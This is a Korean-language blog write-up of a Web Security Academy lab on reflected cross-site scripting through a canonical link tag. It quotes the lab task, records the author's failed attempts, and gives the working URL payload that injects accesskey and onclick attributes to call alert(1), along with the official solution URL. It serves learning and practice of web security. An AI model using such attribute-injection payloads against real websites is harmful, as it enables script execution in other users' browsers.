web security academy 31

Lab: Reflected XSS in canonical link tag

 

This lab reflects user input in a canonical link tag and escapes angle brackets.

To solve the lab, perform a cross-site scripting attack on the home page that injects an attribute that calls the alert function.

To assist with your exploit, you can assume that the simulated user will press the following key combinations:

• ALT+SHIFT+X
• CTRL+ALT+X
• Alt+X

Please note that the intended solution to this lab is only possible in Chrome.

 

(이 실험실은 사용자 입력을 표준 링크 태그에 반영하고 각도 괄호를 피합니다.

실험실 문제를 해결하려면, 알림 기능을 호출하는 속성을 삽입하는 웹 페이지에서 교차 사이트 스크립팅 공격을 수행합니다.

귀하의 익스플로잇을 지원하기 위해, 시뮬레이션된 사용자가 다음 주요 조합을 누를 것이라고 가정할 수 있습니다:

ALT+Shift+X
CTRL+ALT+X
Alt+X
이 실험실에 대한 의도된 해결책은 크롬에서만 가능하다는 점을 유의하시기 바랍니다.)

 

 

1. 문제에서 링크 태그를 보고 댓글에 있는 웹사이트 입력창에서 하는것 같습니다 

기본적으로 어떻게 웹사이트가 저장이 되는지 확인을 했습니다

<p>

<img src="/resources/images/avatarDefault.svg" class="avatar"> <a id="author" href="https://0a9f0082034c2f0d80980d3f000200b8.web-security-academy.net/post?postId=4">123</a> | 31 March 2026

</p>

 

이를 기반으로 

<p>

<img src="/resources/images/avatarDefault.svg" class="avatar"> <a id="author" href="https://0a9f0082034c2f0d80980d3f000200b8.web-security-academy.net/post?postId=4" onload=alert(1)">123</a> | 31 March 2026

</p>

 

"onload =alert(1)를 했더니 

Invalid blog post ID 를 발생합니다 이를 찾아보니 유효성 검사를 진행하며 코드에도 새로운 속성을 집어넣어서 해결을 하려 했지만 실패했습니다

코드를 보면 따옴표가 인코딩 되어서 "라고 들어가서 그런것같습니다

 

또 다른 방법을 보니 코드 head 부분에 canonical으로 URL이 직접 들어가는 부분을 찾았습니다 이를 기반으로 URL을 조작하여 alert를 실행 시켜 보도록 해보겠습니다 

https://0a9f0082034c2f0d80980d3f000200b8.web-security-academy.net/post?postId=4%27%20onload=alert(1)

URL에 직접 넣어보니 다시 Invalid blog post ID 발생합니다..

 

AI에 도움을 받아 좀 더 찾아보니  

" accesskey="x" onclick="alert(1) 를 사용하여 URL에 집어넣어서 하면 된다고 합니다 

https://0a9f0082034c2f0d80980d3f000200b8.web-security-academy.net/post?postId=4%22%20accesskey=%22x%22%20onclick=%22alert(1)

다시 Invalid blog post ID에 걸렸습니다 

 

이전에 &를 붙여서 새로운 파라미터를 추가해서 해보았습니다

이를 기반으로 다시 해보겠습니다 

https://0a9f0082034c2f0d80980d3f000200b8.web-security-academy.net/post?postId=4&test=%27accesskey=%27x%27onclick=%27alert(1)

 

네 성공했습니다 

 

해결법을 보니 블로그까지 들어오는것이 아닌 홈 웹페이지에서 

https://YOUR-LAB-ID.web-security-academy.net/?%27accesskey=%27x%27onclick=%27alert(1)

를 시도하는 것입니다 

 

이상입니다 

 

감사합니다